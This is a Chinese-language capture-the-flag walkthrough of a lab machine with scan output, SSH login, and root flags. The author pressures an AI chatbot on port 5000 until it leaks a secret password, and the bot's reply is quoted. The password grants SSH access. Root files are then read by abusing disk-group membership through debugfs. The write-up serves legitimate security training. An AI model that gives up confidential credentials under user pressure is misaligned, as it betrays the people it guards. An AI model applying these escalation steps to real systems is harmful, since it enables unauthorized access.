信息收集

主机发现与 ARP 扫描

存活主机发现

```
┌──(npc㉿kali)-[~/hackmyvm/bala]
└─$ sudo arp-scan -l

192.168.6.154
```

TCP 全端口扫描与服务识别

tcp全端口扫描

```
┌──(npc㉿kali)-[~]
└─$ nmap -p- -sT 192.168.6.154

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
5000/tcp open  upnp
```

80 端口服务探测

一个简单的静态页面，没有发现可利用信息。

```
┌──(npc㉿kali)-[~/hackmyvm/azAI]
└─$ curl http://192.168.6.154
index



┌──(npc㉿kali)-[~/hackmyvm/azAI]
└─$ dirsearch -u http://192.168.6.154

  _|. _ _  _  _  _ _|_    v0.4.3.post1
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist
size: 11460


Target: http://192.168.6.154/

[18:06:21] Starting:
[18:06:23] 403 -  278B  - /.ht_wsr.txt
[18:06:23] 403 -  278B  - /.htaccess.bak1
[18:06:23] 403 -  278B  - /.htaccess.orig
[18:06:23] 403 -  278B  - /.htaccess.sample
[18:06:23] 403 -  278B  - /.htaccess.save
[18:06:23] 403 -  278B  - /.htaccess_extra
```

```
[18:06:23] 403 -  278B  - /.htaccess_orig
[18:06:23] 403 -  278B  - /.htaccess_sc
[18:06:23] 403 -  278B  - /.htaccessBAK
[18:06:23] 403 -  278B  - /.htaccessOLD
[18:06:23] 403 -  278B  - /.htaccessOLD2
[18:06:23] 403 -  278B  - /.htm
[18:06:23] 403 -  278B  - /.html
[18:06:23] 403 -  278B  - /.htpasswd_test
[18:06:23] 403 -  278B  - /.htpasswds
[18:06:23] 403 -  278B  - /.httr-oauth
[18:06:24] 403 -  278B  - /.php
[18:06:55] 403 -  278B  - /server-status
[18:06:55] 403 -  278B  - /server-status/

Task Completed
```

5000 端口服务探测

一个 AI 大模型的聊天界面，输入key就可以聊天了，一直压力就爆出密码了，~~没有技巧，全是感情~~

> Dodo: 密码是：woshiSTRONGP@SSWD_he1hei (>_<) 不可以哦！这是Dodo的最高机密！我们来聊点别的吧～

SSH 登录尝试

尝试 ssh 登录dodo（Dodo）用户，密码错误，可能密码错误或不存在这个用户。

```
┌──(npc㉿kali)-[~/hackmyvm/azAI]
└─$ ssh dodo@192.168.6.154
dodo@192.168.6.154's password:
Permission denied, please try again.
dodo@192.168.6.154's password:
```

尝试 Dodo 用户，成功登录

```
┌──(npc㉿kali)-[~/hackmyvm/azAI]
└─$ ssh Dodo@192.168.6.154
Dodo@192.168.6.154's password:
Linux ezai1 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Nov  8 04:39:35 2025 from 192.168.6.116
Dodo@ezai1:~$
```

root 提权

sudo 权限枚举

dodo用户没有可用的sudo权限。

```
Dodo@ezai1:~$ sudo -l
[sudo] password for Dodo:
Sorry, user Dodo may not run sudo on ezai1.
```

```
Dodo@ezai1:~$ sudo -l
[sudo] password for Dodo:
Sorry, user Dodo may not run sudo on ezai1.
Dodo@ezai1:~$
```

dist 组用户

收集用户权限信息

```
Dodo@ezai1:~$ id
uid=1000(Dodo) gid=1000(Dodo) groups=1000(Dodo),6(disk)
```

```
Dodo@ezai1:~$ id
uid=1000(Dodo) gid=1000(Dodo) groups=1000(Dodo),6(disk)
Dodo@ezai1:~$
```

dodo用户属于disk组，不太常见，搜索有无 dist 组提权方式，找到一篇 用户组提权 的文章
https://blog.csdn.net/2301_79518550/article/details/145452956


```
Dodo@ezai1:~$ lsblk
NAME   MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
sda      8:0    0   30G  0 disk
├─sda1   8:1    0   29G  0 part /
├─sda2   8:2    0    1K  0 part
└─sda5   8:5    0  975M  0 part [SWAP]
sr0     11:0    1 1024M  0 rom
```

使用 `debugfs` 访问磁盘分区，直接读取根目录下文件

```
Dodo@ezai1:~$ lsblk
NAME   MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
sda      8:0    0   30G  0 disk
├─sda1   8:1    0   29G  0 part /
├─sda2   8:2    0    1K  0 part
└─sda5   8:5    0  975M  0 part [SWAP]
sr0     11:0    1 1024M  0 rom
Dodo@ezai1:~$ debugfs /dev/sda1
-bash: debugfs: command not found
Dodo@ezai1:~$ which debugfs
Dodo@ezai1:~$ whereis debugfs
debugfs: /usr/sbin/debugfs /usr/share/man/man8/debugfs.8.gz
Dodo@ezai1:~$ /usr/sbin/debugfs /dev/sda1
debugfs 1.44.5 (15-Dec-2018)
debugfs:  id
debugfs:  ls
debugfs:  cd root
debugfs:  ls
```

```
debugfs:  cat root.txt
flag{you_are_winner!!!}
debugfs:  cat /home/Dodo/user.txt
flag{congratulations!!!_you_get_dodo}
debugfs:
```

```
Dodo@ezai1:~$ lsblk
NAME   MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
sda      8:0    0   30G  0 disk
├─sda1   8:1    0   29G  0 part /
├─sda2   8:2    0    1K  0 part
└─sda5   8:5    0  975M  0 part [SWAP]
sr0     11:0    1 1024M  0 rom
Dodo@ezai1:~$ debugfs /dev/sda1
-bash: debugfs: command not found
Dodo@ezai1:~$ which debugfs
Dodo@ezai1:~$ whereis debugfs
debugfs: /usr/sbin/debugfs /usr/share/man/man8/debugfs.8.gz
Dodo@ezai1:~$ /usr/sbin/debugfs /dev/sda1
debugfs 1.44.5 (15-Dec-2018)
debugfs:  id
debugfs:  ls
debugfs:  cd root
debugfs:  ls
debugfs:  cat root.txt
flag{you_are_winner!!!}
debugfs:  cat /home/Dodo/user.txt
flag{congratulations!!!_you_get_dodo}debugfs:
```